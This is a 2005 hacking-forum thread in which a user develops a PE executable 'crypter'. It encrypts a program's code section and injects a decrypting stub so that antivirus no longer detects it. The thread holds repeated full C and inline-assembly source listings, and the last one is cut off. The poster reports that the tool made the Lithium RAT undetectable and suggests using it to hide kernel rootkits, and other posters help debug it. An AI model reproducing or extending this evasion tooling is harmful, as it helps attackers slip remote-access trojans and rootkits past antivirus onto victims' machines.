Articles
|
|
tibbar
Jul 12 2005, 10:18 AM
hi,
i am trying to write a packer and am having problems finding out which parts of the code section i am allowed to encrypt.
I initally tried crypting entire code section from imagebase + codebase to imagebase+codebase+codesize.
I then have a stub inserted at end of the file which decrypts this code section and jmps to the original entry point.
However, this leads to a crash on hitting the first imported function. I know that i have not touched the import table, since when i put the crypted file into olly i can inspect the import section and all looks fine.
i am guessing that what has happened is that normally the loader will copy the imported function addresses to an area inside the code section doing something like call importedfunction1
and by crypting entire code section i have messed this up (so the loader cannot do its job properly).
So my question is how can i determine programatically, what part of the code section i can safely encrypt.
my project so far is below, there's a few messy bits in the source, and a few hardcoded offsets, but on the whole, the principal is there. Note it will only function correctly with progs that use base = 0x400000 at moment due to hard coding an offset.
Can anyone suggest a solution to the above?
[edit] solved.
tibbar
Jul 12 2005, 10:55 AM
i suspect my problem is that the import stubs like:
CODE:00406440 ; BOOL __stdcall DeleteFileA(LPCSTR lpFileName) CODE:00406440 DeleteFileA proc near ; CODE XREF: unknown_libname_61+Bp CODE:00406440 jmp ds:__imp_DeleteFileA CODE:00406440 DeleteFileA endp
live randomly throughout the code section.
Am i correct in thinking that the PE loader, replaces __imp_DeleteFileA with the actual address?
If so, I am screwed, and destined to write my own import table loader...
nolimit
Jul 12 2005, 05:39 PM
hey tibbar, what unpackers call a "jump table" might be your problem as well. basically the compiler references all its calls to a place usually at the end of the .text section. It's pretty easy to find as it will look something like this CODE 00404EC0 $-FF25 DC804000 JMP DWORD PTR DS:[<&KERNEL32.ResumeThrea>; kernel32.ResumeThread 00404EC6 $-FF25 E0804000 JMP DWORD PTR DS:[<&KERNEL32.GetFileTime>; kernel32.GetFileTime 00404ECC $-FF25 E4804000 JMP DWORD PTR DS:[<&KERNEL32.CreateFileA>; kernel32.CreateFileA 00404ED2 .-FF25 E8804000 JMP DWORD PTR DS:[<&KERNEL32.ExitProcess>; kernel32.ExitProcess 00404ED8 $-FF25 EC804000 JMP DWORD PTR DS:[<&KERNEL32.GetFileSize>; kernel32.GetFileSize 00404EDE $-FF25 F0804000 JMP DWORD PTR DS:[<&KERNEL32.CloseHandle>; kernel32.CloseHandle
your self unpacker can skip those, letting you use any of the functions there. You can also redefine your own IAT section, and fill in those jmps after you resolve all the addresses. If you chose to use the first option, and the unpacker uses a function not in the original program you could probably add it to the IAT table. It's too late for me to read all your code, but msg me on irc if you need any help on this.
belgther
Jul 12 2005, 06:20 PM
Nolimit, but the jump table is usually in the code, and the dword pointers refer to the first thunk pointers because they are replaced by the process addresses while initializing an application. Also, when IAT remains unchanged and on the exact same place like the unpacked program, then there shouldn't be any problem with it. Tibbar also mentioned that he didn't touch import table at all, maybe this happens because the .text section has become smaller and everything moved
Killaloop
Jul 12 2005, 07:54 PM
well I don't see where the problem is here. all a simple crypter does is: 1. crypt the opcodes 2. find place for the stub and place it there 3. put a jump to the decrypter stub (or change entry point) let it restore the opcodes and jump back to original OEP what needs to be done for this is: make the text section writeable. find original entry point find text section start and end encrypt it write a working stub and place it somewhere change entry point to point to stub if you have added the stub to the text section fix the virtual size else fix pe header. well I always added the stub to an existing section and haven't had problems. I guess you forgot to fix something when adding the section or something went wrong with it. or you crypted more than you should crypt, but since I know you I'm sure this is fine. my guess is something is not right with the added section. I always used hex editor to manually encrypt files, but I'm really looking forward to this project. hope you can get it working. sorry for my brain storming here
tibbar
Jul 12 2005, 08:44 PM
ok i got it sorted! here was my error: before: CODE StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov EAX, [EBX]; // get value at address EBX dec EAX; // decrypt it mov [EBX], EAX; // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping:
after: CODE StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX dec AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping:
as you can see, my first "encryption" was deducting one from each DWORD, this caused problem when you get a DWORD = FFFFFF. Instead, i am now subtracting from each byte individually. It's a pathetic encryption, but actually it works. I have tested on lithium rat and it becomes undetected afterwards, and still works correctly. There's one issue left with getting the entry point correct. I am setting entry point to be: CODE optionHeader->AddressOfEntryPoint = (DWORD)storageSpot + 4 +0xC - (DWORD)hModule;
The +4 +C is just for allowing for some data i put in the memory before the stub, thats no worry. The problem is that this entry point offset from image base only works for a very simple app (say hello world). When it has lots of sections, the offset is wrong. This is because the size of sections on disk is different to that in memory, due to the padding required for section alignment at 0x1000 in size. I therefore have been working out an adjustment to the entry point with olly for each app. so far it has been + 0x6000 for netbrute.exe and + 0x1A00 for lithium server.exe. I will try and figure out the extra offset due to the difference between size on disk and size in memory later on. If you feel like playing around with it, the correct source is attached: CODE include <string.h> #include <stdio.h>
#include "windows.h" #include "limits.h"
void FunctionStart(){}
// this function will be copied into binary and will become the entry point // it decrypts the code section and jmp's to the original entry point. __declspec( naked )void DecryptAndStart() { // retrieve original entry point, which will live at eip - 4 // and codesize at eip - 2 DWORD eipVal; DWORD codeSize; DWORD entryPt; _asm { // int 3; // thanks to IDESPinner for this trick call jj; // think relative, this means go to next comand jj: pop EAX; // pop the EIP off the stack into EAX since it got pushed by the call
mov EBX, EAX; // save eip in ebx
mov ECX, [EAX - 0x15]; // original entry point rva in ECX
mov EDX, [EBX - 0XD]; // codesize in EDX
mov EAX, [EAX - 0x19]; // codebase in EAX mov EBX, [EBX - 0x11]; // imagebase in EBX
add EAX, EBX; // actual address of code start in EAX
add ECX, EBX; // actual address of entrypoint in ECX
// now we loop from [EAX] to [EAX+EDX] mov EBX, EAX; // put code start address in EBX add EDX, EAX; // last item of code to decrypt in EDX // inc EDX; // but we stop once we are 1 past it StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX dec AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping: jmp ECX; }
}
void FunctionEnd(){}
ULONG __fastcall GetSizeOfImage( IN PVOID pImageBase ) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
// calculate the size ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;
IMAGE_SECTION_HEADER * pSecHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
// sum size of all image sections; this will result in the image // size for (int i = 0; i < pFileHeader->NumberOfSections; i++, pSecHeader++) nSizeOfImage += pSecHeader->SizeOfRawData;
// return size of the executable return nSizeOfImage; }
IMAGE_SECTION_HEADER* GetSectionHeader(IN PVOID pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
// calculate the size ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;
IMAGE_SECTION_HEADER * pSecHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader); return pSecHeader; }
PIMAGE_SECTION_HEADER FindLastSection(DWORD* pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { if((DWORD)(tempHeader->VirtualAddress) > currentMaxVA) { currentMaxVA = (DWORD)(tempHeader->VirtualAddress); pos = i; } tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
IMAGE_SECTION_HEADER* lastSectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)sectionHeader + pos*sizeof(IMAGE_SECTION_HEADER)); return lastSectionHeader; }
PIMAGE_SECTION_HEADER FindSection(DWORD* pImageBase, DWORD sectionbase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { if(tempHeader->VirtualAddress == sectionbase) { return tempHeader; } tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
return NULL; }
void MakeAllSectionsWritable(DWORD* pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { tempHeader->Characteristics |= IMAGE_SCN_MEM_WRITE; tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
return; }
PIMAGE_SECTION_HEADER AddSection(DWORD* pImageBase, DWORD codeVirtualStart, DWORD codeSize) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
newSectionOffset = (DWORD)sectionHeader +pNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER) - (DWORD)pImageBase;
// check whether there's room for a new section if(pNtHeaders->OptionalHeader.SizeOfHeaders<(newSectionOffset+sizeof(IMAGE_SECTION_HEADER))) { return NULL; }
// increase SizeOf
// create a new section
IMAGE_SECTION_HEADER* newsection = (IMAGE_SECTION_HEADER*)((DWORD)pImageBase + newSectionOffset);
// go to the last section // for(DWORD i=0;i<(SectionNum-1);i++) // { // PEfile.image_section_header[i].Characteristics= // PEfile.image_section_header[i].Characteristics | IMAGE_SCN_MEM_WRITE; // }
// start to build the new section DWORD n = sizeof(IMAGE_SECTION_HEADER); CopyMemory(newsection, (IMAGE_SECTION_HEADER*)((DWORD)newsection - n), sizeof(IMAGE_SECTION_HEADER));
// VirtualAddress... /* DWORD sectionAlignment = pNtHeaders->OptionalHeader.SectionAlignment;
newsection->VirtualAddress = codeVirtualStart - codeVirtualStart%sectionAlignment; newsection->Misc.VirtualSize = codeSize + codeSize%sectionAlignment;
// RawSize.. DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment; if(codeSize < alignment) newsection->SizeOfRawData = alignment; else newsection->SizeOfRawData = codeSize + codeSize % alignment;
// Section name int l=(int)strlen(".stub"); FillMemory(newsection->Name,8,0x00); CopyMemory(newsection->Name,".stub",l);
// Characteristics newsection->Characteristics= IMAGE_SCN_MEM_WRITE| IMAGE_SCN_MEM_READ| IMAGE_SCN_MEM_EXECUTE| IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_CNT_INITIALIZED_DATA| IMAGE_SCN_CNT_CODE;//0xE00000E0;
// RawOffset newsection->PointerToRawData = codeVirtualStart - codeVirtualStart%alignment; newsection->Misc.PhysicalAddress = newsection->Misc.VirtualSize; newsection->NumberOfLinenumbers = 0; newsection->NumberOfRelocations = 0; newsection->PointerToLinenumbers = 0; newsection->PointerToRelocations = 0; */ // update the PE header pNtHeaders->FileHeader.NumberOfSections++; // newsection -> will be returned return (PIMAGE_SECTION_HEADER)newsection; }
int main( int argc, char* argv[] ) { HANDLE hFile = CreateFile( argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get size of file LARGE_INTEGER bigInt; BOOL diditWork = GetFileSizeEx(hFile, &bigInt); // assume it's DWORD or less DWORD fileSize = bigInt.LowPart; if(fileSize + 0x2000 >= ULONG_MAX) return 0;
HANDLE hFileMap = CreateFileMapping( hFile, NULL, PAGE_READWRITE,// | SEC_IMAGE, bigInt.HighPart, bigInt.LowPart + 0x2000 , "myfile");
// map file into memory LPVOID hMap = MapViewOfFile( hFileMap, FILE_MAP_WRITE, 0, 0, 0);
HMODULE hModule = (HMODULE)hMap; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; // PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)pDosHeader->e_lfanew; // IMAGE_OPTIONAL_HEADER optionHeader = (IMAGE_OPTIONAL_HEADER)pNtHeader->OptionalHeader; IMAGE_OPTIONAL_HEADER* optionHeader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hModule+pDosHeader->e_lfanew+24);
VOID* pBaseCode = (VOID*)optionHeader->BaseOfCode; DWORD codeSize = optionHeader->SizeOfCode;
IMAGE_SECTION_HEADER* sectionHeader = GetSectionHeader(hModule);
// unprotect code BOOL diditwork = VirtualProtect((void*)((DWORD)hModule + (DWORD)pBaseCode), codeSize, PAGE_READWRITE, NULL); DWORD x = GetLastError(); // crypt code
IMAGE_SECTION_HEADER* codeSection = FindSection((DWORD*)hModule, (DWORD)pBaseCode); DWORD rawCodePosition = codeSection->PointerToRawData;
DWORD virtualCodeSize = codeSection->Misc.VirtualSize;
DWORD startpos = (DWORD)hModule + (DWORD)rawCodePosition; DWORD endpos = startpos + virtualCodeSize;
_asm { mov EBX, startpos; mov EDX, endpos; StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX inc AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping: } // store rva from new entry point to original entry point at position pBaseCode + fileSize + 2 // DWORD originalEntryPoint = (DWORD)hModule + optionHeader->AddressOfEntryPoint; DWORD* storageSpot = (DWORD*)((DWORD)hModule + (DWORD)pBaseCode + fileSize + 2); *storageSpot = (DWORD)optionHeader->AddressOfEntryPoint; //originalEntryPoint- ((DWORD)storageSpot + 2);
// store codebase at storagespot - 1 *(storageSpot - 1) = (DWORD)pBaseCode;
// store base at storagespot + 1 *(storageSpot + 1) = (DWORD)optionHeader->ImageBase;
// store original code size at position storageSpot + 2 *(storageSpot + 2) = virtualCodeSize;//virtualCodeSize;//;
// now we need to add our decryption routine to storageSpot + 4 (say) int dSize = (PBYTE)FunctionStart - (PBYTE)FunctionEnd; DWORD start = (DWORD) FunctionStart; DWORD end = (DWORD) FunctionEnd; DWORD length = (end - start); memcpy(storageSpot + 4, DecryptAndStart, length);
// set new code as executable // IMAGE_SECTION_HEADER* newsection = AddSection((DWORD*)hModule, (DWORD)storageSpot + 4 - (DWORD)hModule, length);
// to do this we will simply find the last section (i.e. one with highest RVA // and extend this by size needed // and set it to executable IMAGE_SECTION_HEADER* lastSection = FindLastSection((DWORD*)hModule);
lastSection->Misc.VirtualSize += 0x2000; lastSection->SizeOfRawData += 0x2000; lastSection->Characteristics = IMAGE_SCN_MEM_WRITE| IMAGE_SCN_MEM_READ| IMAGE_SCN_MEM_EXECUTE| IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_CNT_INITIALIZED_DATA| IMAGE_SCN_CNT_CODE;//0xE00000E0;
// set new entry point optionHeader->SizeOfImage += 0x2000; optionHeader->SizeOfCode += 0x2000; optionHeader->SizeOfInitializedData += 0x2000; optionHeader->AddressOfEntryPoint = (DWORD)storageSpot + 4 +0xC - (DWORD)hModule + 0x1A00;// + 0x6000;
// finally we need to set the main code section as writable for our stub to decrypt it! MakeAllSectionsWritable((DWORD*)hModule); }
tibbar
Jul 12 2005, 08:53 PM
oh i just had a thought, this same method would work fine on kernel drivers too - e.g. to encrypt a kernel rootkit against detection.
Killaloop
Jul 12 2005, 09:04 PM
thanks for the source very nice. well the problem you talk about it the virtual size not beeing the same as the raw size. so basically what you need is a way to get the file offsets calculated out of the rva values for each section to get the offset for your entry point
RVA = ((RVA + VirtualSize)/obj_alignment+1) *obj_alignment VirtualSize = ((size_of_stub+buffer)/obj_alignment+1) *obj_alignment PhysicalSize = (size_of_stub/File_Alignment+1)*File_Alignment PhysicalOffset = PhysicalOffset + PhysicalSize
ch0pper
Jul 12 2005, 09:05 PM
see your problem  ok, let's say that there are at least two types of encryptors/packers/whatever 1) like upx 2) like morphine type 1) is prolly better, maybe better for something and worse for something else this way you just play with sections in PE file and leave the whole work to OS loader you just have a small piece of code at the beginning - like a virus and you do everything "on place" type 2) does nothing "on place" it has its own loader that cares about loading sections to the place, export/import fixups, tls thingz etc. you are trying to make type 1) which should be easier ok, now back to your problem  you are right depending on compiler there are some RVA ptrs from import section to somewhere it is compiler dependent where, so you are not able to make it this way you'd rather rewrite whole import section, you just need from each dll to have one function just to be sure the OS loader loads the dll and you'll have old import table saved and in your decrypting part you just fix it upx source code is quite big and strange (i mean architecture independent and all the stuff like this  ) so it is hard to read it so in short you were right, you need to care about it yourself
tibbar
Jul 12 2005, 09:15 PM
killaloop, yes you are on the ball with the difference between raw vs in memory. i'll sort it out when i next have some free time.
the imports are not a problem, is was just a mistake in the way i crypted the code section.
i had a look through morphine source, very interesting piece of code. holyfather must have spent ages writing his own loader. i thought about this, but figured it would take too much effort for the time being.
to me this is interesting from the perspective of simply how weak today's AV are. they work purely on signatures, and heuristic scanning doesnt really exist, even though they would like you to believe they do something more clever.
sure eventually the AV will recognise my stub function, but that would take 5 minutes to modify and we then get back to square one.
my conclusion is that AV need to think a bit more intelligently about scanning. it's not enough to scan a binary, to stand any chance they need to actually scan the memory space of the process after execution has begun. But that goes against many rules in software, and would cause deadlocks in multithreaded apps.
so overall, the end user is f***ed when it comes to being safe from malware.
using very simple techiques like above, you can make any app undetected.
ch0pper
Jul 12 2005, 09:51 PM
at first sorry for mistake with that type 1) you don't always need to fixup imports loader should not write to code section when fixing imports - it setup iat > as you can see, my first "encryption" was deducting one from > each DWORD, this caused problem when you get a DWORD = > FFFFFF. k > It's a pathetic encryption, but actually it works. I have > tested on lithium rat and it becomes undetected afterwards, > and still works correctly. sure, any trivial encryption alg that will be undetected because AVs are stupid and can't handle encryptor if the don't know it > There's one issue left with getting the entry point correct. > I am setting entry point to be: > > CODE > optionHeader->AddressOfEntryPoint = (DWORD)storageSpot + 4 > +0xC - (DWORD)hModule; > > > The +4 +C is just for allowing for some data i put in the > memory before the stub, thats no worry. > > The problem is that this entry point offset from image base > only works for a very simple app (say hello world). When it > has lots of sections, the offset is wrong. This is because > the size of sections on disk is different to that in memory, > due to the padding required for section alignment at 0x1000 > in size. I therefore have been working out an adjustment to > the entry point with olly for each app. > > so far it has been + 0x6000 for netbrute.exe and + 0x1A00 > for lithium server.exe. > > I will try and figure out the extra offset due to the > difference between size on disk and size in memory later on. > > If you feel like playing around with it, the correct source > is attached: i was playing long hours with morphine  i know what this stuff is like there is always few bytes wrong and it doesn't work there is some counting with addresses, RVA, raw offsets ... > oh i just had a thought, this same method would work fine on > kernel drivers too - e.g. to encrypt a kernel rootkit > against detection? yes it is possible to make kernel driver encryption you now just encode code section ? or other sections too ?
lobas
Jul 12 2005, 10:07 PM
is upx open source can u edit to make it different
tibbar
Jul 12 2005, 10:26 PM
upx is open, but is not very easy to follow.
ch0pper - data sections can wait for version 0.1, plus i intend to write a polymorphic encryption to repace the inc / dec.
ch0pper
Jul 12 2005, 10:42 PM
cant wait m8 thanks sum nice code there !
tibbar
Jul 12 2005, 11:42 PM
ok guys here's the final release 0.0. Works on all nonpacked files i have tried and has avoided AV detection for those progs. Code is below, binary is in downloads. CODE /*
CodeCrypt 0.0 Written by Tibbar @ GSO. You may use this code in your own projects for non-commercial purposes provided you give credit to the author.
This is provided for educational purposes only. No legal reponsibility is held or accepted by the author for misuse of this code.
*/
#include <string.h> #include <stdio.h>
#include "windows.h" #include "limits.h"
void FunctionStart(){}
// this function will be copied into binary and will become the entry point // it decrypts the code section and jmp's to the original entry point. __declspec( naked )void DecryptAndStart() { // retrieve original entry point, which will live at eip - 4 // and codesize at eip - 2 DWORD eipVal; DWORD codeSize; DWORD entryPt; _asm { // int 3; // thanks to IDESPinner for this trick call jj; // think relative, this means go to next comand jj: pop EAX; // pop the EIP off the stack into EAX since it got pushed by the call
mov EBX, EAX; // save eip in ebx
mov ECX, [EAX - 0x15]; // original entry point rva in ECX
mov EDX, [EBX - 0XD]; // codesize in EDX
mov EAX, [EAX - 0x19]; // codebase in EAX mov EBX, [EBX - 0x11]; // imagebase in EBX
add EAX, EBX; // actual address of code start in EAX
add ECX, EBX; // actual address of entrypoint in ECX
// now we loop from [EAX] to [EAX+EDX] mov EBX, EAX; // put code start address in EBX add EDX, EAX; // last item of code to decrypt in EDX // inc EDX; // but we stop once we are 1 past it StartLoop: CMP EBX, EDX; // when these are the same, stop JZ StopLooping mov AL, BYTE PTR [EBX] // get value at address EBX dec AL; // decrypt it mov BYTE PTR [EBX], AL // put decrypted value back in right place inc EBX; jmp StartLoop; StopLooping: jmp ECX; }
}
void FunctionEnd(){}
ULONG __fastcall GetSizeOfImage( IN PVOID pImageBase ) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
// calculate the size ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;
IMAGE_SECTION_HEADER * pSecHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
// sum size of all image sections; this will result in the image // size for (int i = 0; i < pFileHeader->NumberOfSections; i++, pSecHeader++) nSizeOfImage += pSecHeader->SizeOfRawData;
// return size of the executable return nSizeOfImage; }
IMAGE_SECTION_HEADER* GetSectionHeader(IN PVOID pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
// calculate the size ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;
IMAGE_SECTION_HEADER * pSecHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader); return pSecHeader; }
PIMAGE_SECTION_HEADER FindLastSection(DWORD* pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { if((DWORD)(tempHeader->VirtualAddress) > currentMaxVA) { currentMaxVA = (DWORD)(tempHeader->VirtualAddress); pos = i; } tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
IMAGE_SECTION_HEADER* lastSectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)sectionHeader + pos*sizeof(IMAGE_SECTION_HEADER)); return lastSectionHeader; }
PIMAGE_SECTION_HEADER FindSection(DWORD* pImageBase, DWORD sectionbase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
// find an offset to the main PE header ... IMAGE_FILE_HEADER * pFileHeader = (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) + pDosHeader->e_lfanew + sizeof(IMAGE_NT_SIGNATURE));
// ... and optional PE header IMAGE_OPTIONAL_HEADER * pOptHeader = (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) + IMAGE_SIZEOF_FILE_HEADER);
IMAGE_SECTION_HEADER * sectionHeader = (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) + pFileHeader->SizeOfOptionalHeader);
DWORD newSectionOffset; DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;
DWORD currentMaxVA = 0; int pos = 0;
IMAGE_SECTION_HEADER* tempHeader = sectionHeader; DWORD headerSize = sizeof(IMAGE_SECTION_HEADER); for(int i = 0; i < SectionNum; i++) { if(tempHeader->VirtualAddress == sectionbase) { return tempHeader; } tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize); }
return NULL; }
void MakeAllSectionsWritable(DWORD* pImageBase) { // get DOS header IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase; // get NT header IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);
